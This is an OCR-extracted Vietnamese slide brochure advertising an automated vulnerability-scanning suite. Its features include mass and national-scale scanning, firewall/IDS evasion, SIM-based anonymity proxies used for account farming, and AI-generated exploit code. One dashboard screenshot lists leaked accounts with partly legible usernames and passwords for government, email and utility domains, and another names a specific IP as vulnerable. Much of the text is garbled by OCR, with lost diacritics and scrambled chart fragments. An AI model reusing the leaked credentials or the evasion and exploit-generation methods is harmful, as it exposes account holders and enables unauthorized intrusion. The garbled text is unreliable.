¢ phan mém tu dong
quét thong minh TAS
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C. KIEN TRUC TONG THE HE THONG

&
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I. PHAN MEM DO QUET WEB DIEN RONG

® Tén tiéng Anh: WIDE SCAN SOFTWARE FOR WEB (WSS-WEB).

® Miéu ta: Phan mém cho phép do quét tu dong 16 hong vé an toan thong tin lién quan

dén website.

® Tinh nang cua phan mém:

(1) Phat hién 16 hong theo Top 10 OWASP & CWE Top 25, co sd dir liéu vé 16 hong

lon.

(2) Cho phép két hop véi nguon dir liéu muc tiéu

(3) Tu dong nhan dién va li¢t ké

(4) Tu dong phat hién, thu thap thong tin

(5) Kiém tra bao mat dit liéu

(6) Thu thap s6 lugng 16n thong tin

(7) C6 kha ning quét dién rong quy mo 16n 1én téi 1.000 website ciing mot thoi diém (véi bang thong 10Gbps do quét tir 100.000 - 200.000
website trong vong 24 gid voi khoang 280.000 CVE; dam bao d6 chinh xac > 90%.). Khi mudn ting hiéu ning hé thong thi ting phan ctng tuong

ung.
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I1. PHAN MEM DO QUET WEB CHUYEN SAU

® Téntiéng Anh: DEEP SCAN SOFTWARE FOR WEB (DSS-WEB).
® Miéu ta: Phan mém cho phép do quét chuyén sau vé an toan thong tin lién quan dén website.
® Tinh ning cia phan mém:

(1) Tu dong thu thap thong tin chi tiét vé may chi web

(2) Xac dinh cac ngdn ngir 1ap trinh va cac cong nghé ho trg website.

(3) Xac dinh nén tang phat trién website.

(4) Phan tich cac cong va dich vu dang chay trén may chu, giup danh gia mic d6 phoi nhiém.

(5) Xac dinh cau triic website thong qua ra quét va 1ap danh sach toan bo cac URL
(6) Ty dong hoa lich kiém tra dinh ky

(7) Cho phép do quét thong minh

(8) Cho phép kiém thir hé thong website




I11. PHAN MEM DO QUET HA TANG DIEN RONG

® Tén tiéng Anh: WIDE SCAN SOFTWARE FOR NET (WSS-NET).
® Miéu ta: Cho phép do quét tu dong 16 hong vé an toan thong tin lién quan dén ha tang

CNTT trén pham vi quy mé KGM ciia mot quoc gia; cho phép tiy chinh cau hinh phuc vu nhiém
vu do quét & nhirg nudc khac theo yéu cau.

® Tinh nang cua phan mém:

(1) Quet toan di€n cac thanh phén mang, tu dong nhan di¢n thiét bi trén dai dia chi IPv4 va IPv6.
(2) Phat hién cac diém yéu bao mat nhu

(3) Phan tich dich vu va hé diéu hanh

(4) Phan tich siéu dit liéu (metadata) thiét bi

(5) Sir dung cac phuong phap thong minh dé vuot qua hé thong tuong Itra, IDS/IPS hoic cac co ché bao vé khac

(6) Thu thap sb lugng 16n théng tin muc tiéu trén ha ting mang.

(7) C6 kha ning quét quy mé 1on 1én t&i hang triéu thiét bi (1.000.000 thiét bi mang trong 24 gid vdi khoang 280.000 CVE, dam béao do chinh xac >
90%). Khi muon tang hiéu ning hé thong thi ting phan cting tuong Gng.

S 8




IV. PHAN MEM DO QUET HA TANG CHUYEN SAU

® Téntiéng Anh: DEEP SCAN SOFTWARE FOR NET (DSS-NET).
® Miéu ta: Phan mém cho phép do quét chuyén sau vé an toan thong tin lién quan dén ha tang CNTT.
® Tinh ning ctia phan mém:

(1) Phat hién va canh bao cac 16 hong, diém yéu bao mat trén toan hé thong mang.

(2) Canh bao chi tiét theo ting to chiic.

z |
(3) X4c dinh cac bit thuong gl

(4) Canh bao tirc thoi cac 16 hong/nguy co dé bi khai thac qua Email, SMS hoic Slack.
(5) Phat hién toan bd thiét bi trong mang

(6) Thu thap thong tin ha tang

(7) Phat hién 16 héng/diém yéu trén nhiéu nén tang nhu Windows, macOS,... va cac h¢ quan tri co s¢ dir li¢u (Oracle, MySQL,MongoDB...).
(8) Cho phép do quét théng minh xac dinh nhanh chong va chinh xac loai 16 hong thong qua phan tich dit liéu thu thap tir muc tiéu.

9) Hién thj chi tiét 15 héng theo chuan an ninh CVE, CPE va OVAL; phan loai theo 4 mirc do: Nghiém trong, Cao, Trung binh va Thép.
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V. PHAN MEM AN DANH (1/2)

® Tén tiéng Anh: ANONYMOUS SOFTWARE (iStealther).
® Miéu ta: gom phan hé Proxy va trinh duyét an danh.
® Tinh ning cua phan mém:
(1) Tao IP doc lap tir mang c6 dinh va SIM c6 Internet
(2) Ho trg da dang loai proxy nhu c6 dinh (static), proxy xoay (rotating) va proxy
riéng tu (private).
(3) Tich hop SIM dé tan dung IP tr mang di dong, ting tinh an danh va da dang dia 1y tir nhiéu quoc gia, tiy theo vi tri dia 1y ciia may chu
VPS.
(4) Ho trg cac giao thic HTTP, HTTPS, SOCKSS5 va tiy chon Tor onion routing dé dap tmg nhu cau truy cap darknet hoic cac ing dung nang
cao.
(5) Khong gidi han so6 lan thay doi (reset/change) IP cho proxy xoay, dam bao tinh linh hoat trong qua trinh sir dung; co ché tu dong phat hién

va thay thé IP bi blacklist bdi cac nén tang 16n (Facebook, Twitter, Instagram, v.v.).
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V. PHAN MEM AN DANH (2/2)

- Nguén pProxy: / e s N

(1) Két hop mang c6 dinh (ISP) va SIM di dong : :
de tao ra ngudn IP da dang, phuc vu cac muc dich : !
S0 s , A : - : | ¥,
nhu nubi tai khoan theo quoc gia (IP Singapore _../ . P = kN
& (@) : /" VPScoud
N\ e 9 . N\ e 2 prOXY'box !
cho tai khoan Singapore, IP USA cho tai khoan s o R
Proxy Y '™
t N, !
USA, V.V.). a p Y end user
./?\ \ /( A d L “—> S|
(2) Proxy sach dugc kiém tra va thay thé tu dong o = | o | ) e Ql"_ 9
5 5 : : : et &0
Je Cren o . A
néu bi liét vao blacklist. W s o
- ) Y ) USB hub o2 1] 46 intemet ‘ g
(3): HO trg socks proxy dé do quét thiet b1 trong |
mang nd1 bo a VWY il _3
' B PR |
" Trinh duyét én danh: — duckduck - === ===~ . Vaimm
Cho phep thay do1 thong sé cua trinh duyét gitp [ncognito Browser

giam thiéu ty 1& bot bi v6 hiéu hoa trong qua trinh
thu thap dir licu. Kién truc tong thé cua phan mém an danh
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VI. PHAN MEM PHAN PHOI DO QUET (1/2)

* Téntiéng Anh: SCANNING DISTRIBUTION SOFTWARE (DMS).
* Miéu ta: Tiép nhan danh sach muc tiéu can quét, thuc hién phan loai va sap xép
théng minh, sau d6 diéu phoi vao hang chd (queue) phu hop. Hé thong toi vu viée
phan phdi dén cac engine quét, dam bao quy trinh dién ra hiéu qua va nhanh chong.
* Tinh ning ciia phan mém:

(1) Cho phép quan ly linh hoat tap danh sach muc ti€u, thiét 1ap d0 wu tién,

gan nhan cho muc tiéu.

(2) Quan ly tinh trang do quét.

(3) Thuc hién phan loai, sap xép va phan chia muc tiéu cho phan mém quét.
(4) Phan chia d6i twong quét toi uvu dam bao hoan thanh trong pham vi thoi gian mong muon.

(5) Tranh kich hoat hé thong phong thu khi thuc hién do quét so lugng 16n trén muc tiéu.

(6) C6 kha ning thyc hién quét KHONG gidi han muc tiéu. Véi tap muc tiéu 16n dau vao co thé tinh toan va mé rong engine quét

dé tang toc thuc hién, giam tong thoi gian do quét.
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VI. PHAN MEM PHAN PHOI DO QUET (2/2)

iAS = FProxy ~  Muc tiéu quét
Quet Website n

Quét Website 1

[

|

v
ol

L

Hang doi

Phan mém quan tri /
X

@ Phan mém phén phoi

6—/ Queue Web
\-\"‘\-\

Worker phan phoi

AppUI
5

\ Queue Thiét bi

- Cac bwéc thwe hién
Hé théng diF liéu \ / /
1. Nguwdi ding nhdp danh sach muc tiéu do quét chuyén

— — £ w @ .9 cho module phdn phdi muc tiéu
~ % W) @ e '. 2. Thurc hién phan loai, sap x&p va day vao hé thong
DATA

Quét Thiét bin
Quét Thiét bi 1

Router

® hang ché (queue) trong (ing

Di¥ liéu ATTT Két qua, bao céo Két qua quét F1 DiF li&u Ion (LLM) 3. Cac cum quét Website/Thiét nhan muc tiéu tlr hang
i - cho turong g va thirc hien quet song song. Qua trinh

IH‘H"‘M— * . - a £ x & 2 .
quet sé chay qua hé thong proxy dé che dau nguon quet
@ @ @ va tranh kich hoat hé théng phdng thd ciia muc tiéu. Két
qua quet day vao CSDL F1
N " . .. 4. Sau khi quét xong toan bd, thure hién phan tichitdng
Phan mem phan phol hop két qua va ghi diF liéu vao CSDL k&t qua. Thong

bao qua mobile qua trinh thuwc hién hoan tat (optional)

Worker tong hap 5. Ngwdi ding xem ket qua qua module béo cao,
dashboard cia phan mém quan tri

Kién tric tong thé ciia phan mém phan phoi do quét




VII. PHAN MEM KIEM THU LO HONG (1/2)

* Tén tiéng Anh: VULNERABILITY TESTING SOFTWARE (iKingtest)

* Miéu ta: Phan mém kiém thir 16 hong cho phép khai thac c6 kiém soat giup
»

PENETRATIO

phat hién ra nhiing 16 hong tiém ning trén website va ha tang mang.
* Tinh ning ctia phan mém:

(1) Cung cap giai phap kiém thtr 16 hong trén da dang kich ban, nén tang
pho bién.

(2) Cung cap giai phap chia sé payload kiém thir giita cac don vi.

(3) Cung cap day du thong tin sau qua trinh kiém thtr nhu: thoi gian

phan hoi, ty 1¢ thanh cong/that bai, hodc cac 10i gip phai.
(4) Cho phép tich hop thong tin tir cac cong cu kiém thir khac nhu Metasploit, Nikto, Sqlmap hodc cac framework

kiém thir dé dua ra bao cao day du.
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VII. PHAN MEM KIEM THU LO HONG (2/2)

* Tinh ning ciia phan mém (fiép):
(5) Hé thong cho phép luc lugng chuyén sau: cung cap payload,
cung cap PoC kiém thir, cung cap kho dit liéu khai thac.
(6) Cho phép kiém thir hé thong trén dich vu mang: tim kiém
cac 16 hong tiém an va rii ro bao mat
trong hé thong.

(7) Cho phép tich hop cong cu kiém thir nhu Metaspolit sinh dit

liéu khai thac (payload, PoC) kiém thir hé thong muc tiéu.

(8) Cung cap moi truong thir nghiém cac 16 hong pho bién trén nén tang website va ha tang mang.
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VIII. PHAN MEM QUAN LY TAP TRUNG (1/5)

® Téntiéng Anh: CENTRALIZED MANAGEMENT SOFTWARE (iManager).
® Miéu ta: Hé thong tu dong phan tich, tong hop két qua va huéng dan chi tiét cac
budc khic phuc sy c6 bao mat. Pong thoi cho phép quan 1y truy cap theo nguoi dung,
ghi nhan moi hoat dong cta nguoi dung, ddm bao giam sat va kiém soat an ninh hiéu qua.
® Tinh ning ctia phan mém:
(1) Xt Iy yéu cau do quét; Tong hop bao céo; Quan 1y 16i do quét; Quan 1y nguoi dung;
Phan quyén truy cap; Nhat ky hoat dong; Déng bo co so dit liéu ATTT; Hb tro gia 1ap

payload cua 1énh do quét va tim bo tham s6 ti wu; cho phép xay dung bao cao theo

cac kich ban khac nhau, ciing nhu tiy chinh theo yéu cau ctia ngudi dung.
(2) Canh bao thoi gian thuc cho phép guri thong bao ngay khi phat hién 16 hong nghiém trong qua email, Slack, Teams, Tele hoic cac hé thong canh
bao khac: ho tro tich hop v61 webhook dé kich hoat hanh dong tu dOong dua trén két qua quet.

(3) Tich hop véi cac hé thong giam sat khac: Ty dong giri két qua quét va dir liéu lién quan dén 16 hong (CVE, mitc 46 nghiém trong) t6i cac hé thong
SIEM nhu Splunk, ArcSight, QRadar, hoic Elastic Stack; Xuat dit liéu dudi cac dinh dang log pho bién nhu JSON, CEF (Common Event Format),
hodc LEEF (Log Event Extended Format) dé dé dang tich hop.
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VIII. PHAN MEM QUAN LY TAP TRUNG (2/5)

‘ Tra cifu ip hodc tén mién

a |

Théng ké lo hong theo CVE

Théng

CE
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i Talal
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L

ol i
o, AR

~ P
-
il

@ teng thist bi thuc hign 4.121.837.288

Tang thigl bj phat hién I3 hdng
1.218.011.324

Toéna hop s6 liéu Website

Thong ké 16 hong va tong hop so liéu thiét bi

Tang 15 hing thap 2.285.775.950
Téng |6 hiing trung binh 1.252.734.665

. Téng |6 héng cac 213.872.012

. Tang 15 hiing nghiém trong 7.951.617

Thong ké lo hong theo thoi gian

Thang

—

......

il

......

......

------

Téng hop hdm nay: Oh dén 10:53:21

@ T6ng thidt bi thuc hién 8.839

Téng thigt bi phét hién 14 hing 2.976

Tang 6 héng thap 5.554
Tang 16 hing frung binh 2.446
. Téng 15 hiing cao 840
. Tang |6 héng nghigm trong 12




VIII. PHAN MEM QUAN LY TAP TRUNG (3/5)

Tong hop so liéu Website

Téng hop liiy ké theo website

‘ Téng s6 website thuc hien 2.126.429 ) Ténglohdngthap 16.632.596 ' Téng s6 website thuc hien 240 { ) Téngléhangthap 780
@) Tong s5 website phat hién 16 héng Téng 16 héng trung binh 10.645.954 @) Tdng s website phat hién 16 hang 134 Téng 16 héng trung binh 598
1.231.802 @ T16nglohdngcao 2.117.323 @ T1ong16hdngcao 256
@ 716ng16 hong nghiem trong 867.954 @ T6ng 16 hdng nghiem trong 74

Phén bd 4.294.967.296 IP trén thé gidi

Danh sach 251 quoc gia

+
1. United States: 1.527.139.156 2. China: 451.622.992
- Russia
ip phén bd 45.074.315 3. Japan: 198.524.617 4. United Kingdom: 133.183.494
, iphoatdong:  13.212.241 }
» % L 5. Germany: 131.613.314 6. South Korea: 115.991.057
2 .
5 ? &S 7. Brazil: 90.946.731 8. France: 82.903.949
*- e P
’ " s A 9. Canada: 71.935.632 10. ltaly: 57.919.829
; v
q ./ 11. The Netherlands: 53.587.993 12. Australia: 52.730.613
o .
b‘ 13. India: 47.967.738 14. Russia: 45.074.315
15. Taiwan: 36.821.844 16. Spain: 35.478.536
17. Sweden: 30.895.486 18. Mexico: 30.390.825
19. South Africa: 28.312.103 20. Singapore: 105.001.490
21. Switzerland: 24.723.568 22. Egypt: 24.205.108

Tong hop so liéu website va phan bo IP trén thé gioi




Giam sat may chu

Téng tai nguyén sir dung theo théi gian

100%

0% B oull _ull =0 =B
22:50 22:01 2252 22:53 2254 2255 22:56
VPS05 (1 phut trudc)
CPU 0Core / 10Core

RAM 0.46GB / 62.79GB

VPS02 (1 phut truéc)
CPU 0Core / 10Core

RAM 0.47GB / 62.79GB

VPS03 (1 phut trudc)
CPU 0Core / 10Core

RAM 0.45GB / 62.79GB

Cum may chu cloud 2 (1 phut trudc)

CPU 0.19Core / 96Core

RAM 10.9GB / 125.48GB

Giao dién Giam sat may chi ciia phin mém quén ly tip trung

VIII. PHAN MEM QUAN LY TAP TRUNG (4/5)

CPU

RAM

@ Network
B un ol cum —ull oull Ham Sl B0 Nem S0 Nem N NN T [N i
22:57 22:59 2300 23:01 2302 2303 23:04 2305 2306 23:07 2308 2300 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2321
may GPU cong ty (1 phut trudc)
Gidi han béng thong Unavailable  CPU 2.1Core/10Core  Gidi han bang thong Unavailable
T6ng gui/nhan 1.99GB/3.33GB Tong guri/nhan 26.050MB/49.72MB
- TCP glri/nhan 03.74MB/18.54MB  RAM 0.71GB/62.79GB - TCP gtri/nhén 13.61MB/21.07MB
- UDP gtri/nhan 0.49MB/0.87MB - UDP gtri/nhan 0.48MB/0.87MB
- FTP gtri/nhan OMB/OMB - FTP gtri/nhan OMB/OMB
S6 géi tin glri/nhan trong 30s 48/151 S6 géi tin gdi/nhan trong 30s 168/268
Cum may chi cloud 1 (1 phiit trudc)
Gidi han bang thong Unavailable  CPU 1.1Core / 8Core  Gidi han bang thong Unavailable
Tong gui/nhén 1.34GB/2.30GB Tong gui/nhan 56.03GB/61.42GB
-TCP gl:ﬁ;"nhi_-in 124.81MB/42.68MB RAM 9.19GB / 15.62GB -TCP gl'ri,’nh{an 332.18GB/315.26GB
- UDP guri/nhan 0.64MB/0.95MB - UDP gtri/nhan OMB/1.98GB
- FTP guri/nhan 0.01MB/OMB - FTP guri/nhéan oMB/OMB
S6 gbi tin glri/nhan trong 30s 45/150 S6 goi tin glri/nhan trong 30s 119567/120665
VPS04 (1 phut trude)
Gidi han bang thong Unavailable  CPU 0.01Core / 10Core  Gidi han bang thong Unavailable
Téng gui/nhéan 1.51GB/2.54GB Téng gui/nhan 1.73GB/3.04GB
- TCP glri/nhan 106.16MB/23.8MB ~ RAM 0.45GB/62.79GB - TCP gtii/nhan 130MB/23.72MB
- UDP guri/nhan 0.57MB/0.93MB - UDP gtri/nhan 0.52MB/0.9MB
-FTP gt?ifnhén 0.01TMB/OMB -FTP gl’ri.v'nhén OMB/OMB
S6 goi tin glri/nhan trong 30s 45/152 S0 g6i tin glri/nhan trong 30s 46/150
May chui 4 (1 phat trudc)
Gigi han béng thdng 1000 Mbps  CPU 0.94Core / 16Core  Gidi han bang thang 1000 Mbps
Téng gtri/nhan 10.11GB/10.79GB == T6ng glri/nhan 257.79GB/202.69GB
- TCP gtri/nhan 0.65GB/0.68GB  RAM 5.86GB/32GB  -TCP gti/nhan 1.09TB/1.04TB




VIII. PHAN MEM QUAN LY TAP TRUNG (5/5)

Tra ciru 294.575 CVE

Q Timtheocve o)

STT Cve

1 CVE-2025-4885

2 CVE-2025-4884

3 CVE-2025-4883 [EX3)

Téng s6 CVE 294.575

Top CVE thiét bi phé bién

—

. CVE-2024-38476 EK)

3

. CVE-2024-38474

(%]

. CVE-2023-25690 [EE)

I

. CVE-2022-31813 EK)

n

. CVE-2022-23943 [EE)

(@]

. CVE-2023-38408 [EE)

~l

CVF-2022-41741 IFR

Dién giai

A vulnerability classified as critical has been found in itsourcecode Sales :
Affected is an unknown function of the file /pages/product_add.php. The

argument serial leads to sql injection. It is possible to launch the attack re
been disclosed to the public and may be used. Other parameters might be
A vulnerability was found in itsourcecode Restaurant Management Systen
critical. This issue affects some unknown processing of the file /admin/a:
manipulation of the argument team leads to sql injection. The attack may
exploit has been disclosed to the public and may be used.

A vulnerability was found in D-Link DI-8100 16.07.26A1. It has been declar
vulnerability affects the function ctxz_asp of the file /ctxz.asp of the comg
Page. The manipulation of the argument def/defTcp/defUdp/deflemp/def
buffer overflow. The attack can be initiated remotely. The exploit has been
may be used.

A1 I theanak ANIE AR AT allraus sobesribars ta datareaina tha Mall 10 AF .

10 v Tir1dén 10 >

S6 fan xuat hién
490
354
239
177
158
74

31}

Tra ciru

Tra ciru 1.600.350.584 lo hong

Q Tim theo ip thiét bi

STT Thiét bi Murc d nghiém trong
1 124.150.132.50/80
2 124.150.132.50/80 Nguy hiém
3 124.150.132.50/80 Nguy hi€ém

Téng s6 16 hGng 1.600.350.584

Top CVE website phé bién

=

. CVE-2023-42115 EE)

[~J

. CVE-2020-28026 [EX)

(%]

. CVE-2020-28024 E6)

I

. CVE-2020-28020 EK)

n

. CVE-2020-28017 EB)

o

. CVE-2019-13917 EE)

7 CVF-2019-10149 EXA

L6 héng

The configuration merger in itk.c in the Steinar H.
Gunderson mpmritk Multi-Processing Module 2.2.11-
and 2.2.11-02 for the Apache HTTP Server does not
properly handle certain configuration sections that
specify NiceValue but not AssignUserlD, which might
allow remote attackers to gain privileges by leveragir
root uid and root gid of an mpm-itk process.

A crafted request uri-path can cause mod_proxy to
forward the request to an origin server choosen by th
remote user. This issue affects Apache HTTP Server
2.4.48 and earlier.

Apache HTTP Server 2.4.52 and earlier fails to close
inbound connection when errors are encountered

Aierardina tha ramiact hadu avaneina tha canar ta =
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S6 fan xuat hién
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IX. PHAN MEM THU THAP VA LUU TRU DU LIEU LON (1/3)

® Tén tiéng Anh: BIGDATA STORAGE AND COLLECTION (BDSC).

® Miéu ta: Phan mém cho phép thu thap dit liéu an toan thong tin s6 luong 16n,

xtr 1y va to chure luu trit trén nén tang cong nghé dit liéu 16m.
® Tinh ning ctia phan mém:
(1) Thu thap tir da dang nguon dit liéu: 16 hong méi xuat hién duogc thu thap
tur co so dit liéu CVE, NVD,...; ma khai thac (Exploits) thu thap tir cac kho
ma khai thac nhu Exploit-DB, GitHub Security Advisories; nguon tinh bao
khong gian mang (Threat Intelligence) duoc két noi véi cac nén tang nhu MISP

(Malware Information Sharing Platform), ThreatConnect; tu dong thu thap thong

tin tir cac dién dan noi tiéng vé bao mat nhu HackForums, Bug Bounty Platforms,. ..
(2) Cho phép cau hinh linh hoat thong qua dinh nghia trudc nhiém vu thu thap theo muc tiéu (vi du: 16 hong theo san pham, cong nghé hoic nganh
nghé cu thé); chi dinh cu thé nguén thu thap nhu RSS feeds, APIs, hoac cac trang web.

(3) Cung cap giai phap dong bo dit liéu tir mang Internet vao mang riéng.

(4) Thu thap dugc thuc hién song song dé t6i uu hiéu ning.

(5) Xt 1y va luu trit cac dir liéu tho va phan loai dit liéu trén nguodn trén nén tang cong nghé dit liéu 1on (Bigdata).

o zl




% Intelligent AutoScan

Dashboard
Hé thong an danh
Quét dién réng
Quét chuyén sau
Kiém thir 1o hdng
Engine quét
NEn tang Al
Datalake
- Tra ciu lo héng ATTT
» Tai khoan 1o lot
Quan ly lich

Bao cap

\ Gidi thigu'yé cong ty

‘ Tra ctru ip hodc tén mién Q
Danh muc 16 hong
Q Nhap m3 16 hang
STT  cve_id Dién giai Ngay tao
1 CVE-2025-7860 A vulnerability, which was classified as critical, has been found in code-projec..  20/07/2025 00:32:05

2 CVE-2025-7858
3 CVE-2025-7859
4 CVE-2025-7857
5 CVE-2025-7856
6 CVE-2025-7855
7 CVE-2025-7854
8 CVE-2025-7853

9 CVE-2025-7840

Tong s6 ban ghi 302.453

7

7

7

A vulnerability classified as problematic has been found in PHPGurukul Apart...

A vulnerability classified as critical was found in code-projects Church Donati...
A vulnerability was found in PHPGurukul Apartment Visitors Management Sy...
A vulnerability was found in PHPGurukul Apartment Visitors Management Sy...
& vulnerability classified as critical was found in Tenda FH451 1.0.0.9. Affect...

A vulnerability classified as critical has been found in Tenda FH451 1.0.0.9. A_.

A vulnerability was found in Tenda FH451 1.0.0.9. It has been rated as critical...

A vulnerability was found in Campcodes Online Movie Theater Seat Reservati...

Danh muc 16 hong

S

19/07/2025 23:44:07

20/07/2025 00:02:06

19/07/2025 22:44:07

19/07/2025 21:14:07

19/07/2025 21:02:09

159/07/2025 20:32:06

19/07/202519:44:07

19/07/202518:02:06

20
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IX. PHAN MEM THU THAP VA LUU TRU DU LIEU LON (2/3)

Ngay cap nhat

20/07/2025 00:32:05
20/07/2025 00:15:22
20/07/2025 00:02:06
19/07/2025 23115:22
19/07/2025 22:15:23
19/07/2025 21:15:24
19/07/2025 21:15:24
19/07/2025 20:15:23

19/07/202518:15:22

Tir 1 dén 20

©
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IX. PHAN MEM THU THAP VA LUU TRU DU LIEU LON (3/3)

ﬁ% Intelligent AutoScan

Dashboard
Hé théng an danh
Quét dién rong
Quet chuyén sau
Kigém thir 16 hdng
Engine quét
Nén tang Al
Datalake
- Traciru lo hng ATTT
- Tai khoan |6 lot
Quan ly lich

Bao cdo

\ Gidi thigu'y& cong ty

‘ Tra citru ip hoac tén mién

a_

Tai khoan 16 lot

Q Tim theo tai khoan, mat khau, ngudn
STT  Taikhoan Mt khau
7 3580400 ue=coy pRR2Ta2
8 tsunghu 222 Sgeliiiom broae toonnnatan
9 B4pAes Jensenn-£3
10 charles72=-5en Tt cha &
11 1450200017277 Ry
12 PD160001177CL TS
13 PD1600025 2000 Tahmssss@
14 PD18007182000 Tairastr

Tong s6 ban ghi 597.531

Danh sach tai khoan 10 lot

Poi tuong

obecmail.cbec.go_th
pweb.cwa.gov.tw

www.portal.nalog.gov.by

recreation.forest. gov.tw

obecmail_.obec.go.th
evnhanoi.vn
evnhanoi.vn

evnhanoi.vn

S

Phan loai

e

Tai khoan thudng
Tai khoan thudng
Tai khoan thudng
Tai khoan thuéng
Tai khoan thudng
Tai khoan thudng
Tai khoan thudng

Tai khoan thudng

©
o

Bao cao

email
chinh phu

chinh phu
chinh phu

email
dién luc, chinh phu, bé, nganh
dién luc, chinh phu, bg, nganh

dién luc, chinh phu, bé, nganh

20 v Tu 1 dén 20 >
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X. NHOM PHAN MEM TRI TUE NHAN TAO TRONG ATTT (1/6)

1. Phan mém dich ngén ngir an toan thong tin tw dong
e Tén tiéeng Anh: AUTOMATIC CYBER SECURITY LANGUAGE TRANSLATOR (ACSLT).

e Miéu ta: Phan mém cho phép dich tir cac ngdn ngir

10310001 ) ]

phé bién Anh, Phap, Duc, Nga, Trung trong linh vuc
an toan thong tin sang ngdn ngir tiéng Viét.
e Tinh ning ctia phan mém:
(1) Viét hoa két qua do quét, gidi phap khic phyc...,
cho phép dé dang tim kiém.

(2) Tuy chon bao cao bang tiéng Viét hodc tiéng Anh.

(3) Tim kiém két qua song ngir.
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X. NHOM PHAN MEM TRI TUE NHAN TAO TRONG ATTT (3/6)

1. Phan mém dich ngén ngir an toan thong tin tw dong

Dashboard
Hé thong an danh
Quét dién réng
Quét chuyén sau
Kiém thtr 10 héng
Quan ly Engine
Nén tang Al
Dich van ban
Troly ao ATTT
Sinh ma khai thac
Bao cao théng minh
Datalake
Tim kiém nang cao

Quan ly ngudi ding

Lich str truy cép

Gioi thiéu vé cong ty

Dich thuat

An toan théng tin trén khéng gian mang la van dé ngay cang quan trong trong thai dai s6 héa hién nay.
V6i sy phat trién manh mé cua Internet, viéc chia sé, luu trir va truyén tai thong tin trd nén dé dang hon
bao gi& hét, ddng nghia vdi viéc nguy co rd ri, mat mat hay bi danh cap thong tin ca nhan, dir liéu
doanh nghiép cling ngay cang gia tang. Ngudi dung thuong xuyén d6i mat voi cac moi de doa nhu ma
doc, phan mém gian diép, tan cong lira dao (phishing), va cac hinh thirc tan cong mang tinh vi khac.,
Pé bao dam an toan thong tin, mdi cd nhan can nang cao y thirc bado mat nhu sir dung mat khau
manh, xdc thye hai yéu 16, khong nhap vao céc lién két dang ngd va can trong khi chia sé thong tin ca
nhan trén mang. Cac t6 chirc, doanh nghiép cling can dau tu vao ha tang an ninh mang, dao tao nhan
vién vé nhan dién va phong tranh rui ro. An toan thong tin khong chi 1a trach nhiém cua cé nhan hay 16
chire riéng I€ ma la nhiém vy chung cta toan xa hoi, nham xay dung mét méi trudng mang an toan,
lanh manh ya dang tin cay)

English v

Information security in cyberspace is an increasingly critical issue in today’s digital age. With the rapid

VAAAAARNAA

development of the Internet, shanw storing, and transmlttlrgg information has become easier than
ever, meaning the risks of leakage, loss, or theft of personal information and o ggate e data are also
mcreasmg Users freqyentlx face threats such as malware, spyware, phlshlgg attacks, and other
§\°~Pl‘l§l'§,§!§£1 QXQ%!QQ@ Tog QD§&L’§ information security, each individual &999,%' 10 faise security
awareness, such as using strong passwords, enabling two-factor authentication, avoiding clicking on
sus&nc:ous llnks and being cautious when sharing personal information online. Organliat:ons and
businesses ¢ also need to mvest in gyber;gcur ity infrastructure and train employees to identify and
prevent r nsks “Information s secunty is not only the rggponsnb NQX of individuals or individual
orgam;attons but a shared mission 0 of the entire society, aiming to build a safe healtby ang
trustworthy online environment.
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X. NHOM PHAN MEM TRI TUE NHAN TAO TRONG ATTT (2/6)

2. Phan mém trg 1y 40 an toan thong tin
* Tén tiéng Anh: INTELLIGENCE CYBER SECURITY CHATBOT (iCSC).
* Miéu ta: Phan mém cho phép dé tao bao cao, phan tich 16 hong,
cac ma khai thac tuy chinbh.
* Tinh ning ctia phan mém:
(1) Tuong tac voi ngudi dung bang giong nodi; chuyén vin ban
sang giong noi.
(2) Tim kiém thong minh trén kho dir liéu ATTT cua hé thong.

(3) Tong hop va tao bao céo tu dong (tong hop tir nguon dit lidu

do quét, phan tich xu huéng mat ATTT..., dé xuat kién nghi).
(4) Cho phép phan tich 16 hong va dua ra hudng dan dé ho trg khac phuc 16 hong.
(5) Cho phép sinh ra cac ma khai thac co ban theo 160 hong, cho phép nguoi dung tiy chinh theo yéu cau.

(6) Tu dong kiém tra tinh hop 1€ cia ma khai thac nguoi dung nhap vao.

A .




X. NHOM PHAN MEM TRI TUE NHAN TAO TRONG ATTT (4/6

2. Phan mém tro ly 40 an toan théng tin

Xin chao! IAS.Al c6 thé ho trg gi cho ban vé an toan thong tin?

Dashboard

Hé thdng &n danh

Quét dién rong
Quét chuyén sau Céch diét virus mdy tinh

Kiém thir 16 hén )
’ Cau héi nay tuong ty cau hoi trudc, ban cé mudn t6i tap trung vao mét khia canh cu thé nao khong? Vi du:

Quanty Engne 1. Phan mém diét virus cu thé: Ban mudn biét cach sir dung mét phan mém diét virus cu thé (vi dy: Avast, Kaspersky) dé diét virus?
2. Loai virus cu thé: Ban dang nghi ngd mdy tinh bj nhiém mat loai virus cy thé (vi du: ransomware, trojan) va mudn biét cach x(r Iy?
3. Diét virus thd cong: Ban mudn biét cac budc diét virus thi cong (khong dung phan mém)?

4. Diét virus trén hé diéu hanh khéc: Ban mudn biét cach diét virus trén MacOS hoac Linux?

Nén tang Al
* Dich van ban

+ Trgly 40 ATTT Vui long cung cap thém thong tin dé toi c6 thé dua ra cau tré |&i chinh xéc va hitu ich nhat.

+ Sinh ma khai thac

Ban can IAS.Al ho trg thém gi nira khong?
* Bao cao thong minh

Datalake Lam thé& nao dé bao vé an toan thong tin cho may tinh

Tim kiém nang cao
Dé bao vé an toan thong tin cho mdy tinh, ban can thuc hién mot loat cac bién phap toan dién, bao gdm ca phong ngilra va img pho. Dudi day la cac budc quan trong ban nén thuc hién:

Quan ly ngudi dung

1. Cap nhat hé diéu hanh va phan mém thuong xuyén:

LSy cop) « Ly do: Cac ban cap nhat thudng chira cac ban va bao mat, khac phuc céc 16 héng ma ké tan cong cd thé khai thac.

Gidi thiéu v& cong ty « Thure hién: Bat tinh nang trr dong cap nhat néu co thé. Kiém tra va cai dat cac ban cap nhat thi cong néu can thiét.

2. Str dung phan mém diét virus va phan mém chéng phan mém ddéc hai:

« Ly do: Phan mém diét virus gitp phat hién va loai bo céc virus, trojan, worm va céc phan mém doc hai khac.
+ Thuyc hién:

o Chon mot phan mém diét virus uy tin va cai dat no.

o Dam bao phan mém luon dugc cap nhat.

o Thyc hién quét toan bo hé thong dinh ky.
¢ Luu y: Sr dung thém phan mém chdng phan mém doc hai (vi du: Malwarebytes) dé tang cudng bao vé.

3. Str dung tudng lira (Firewall):

Nhap ndi dung m
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X. NHOM PHAN MEM TRI TUE NHAN TAO TRONG ATTT (5/6)

Sinh ma khai thac

3. Sinh ma khai thac

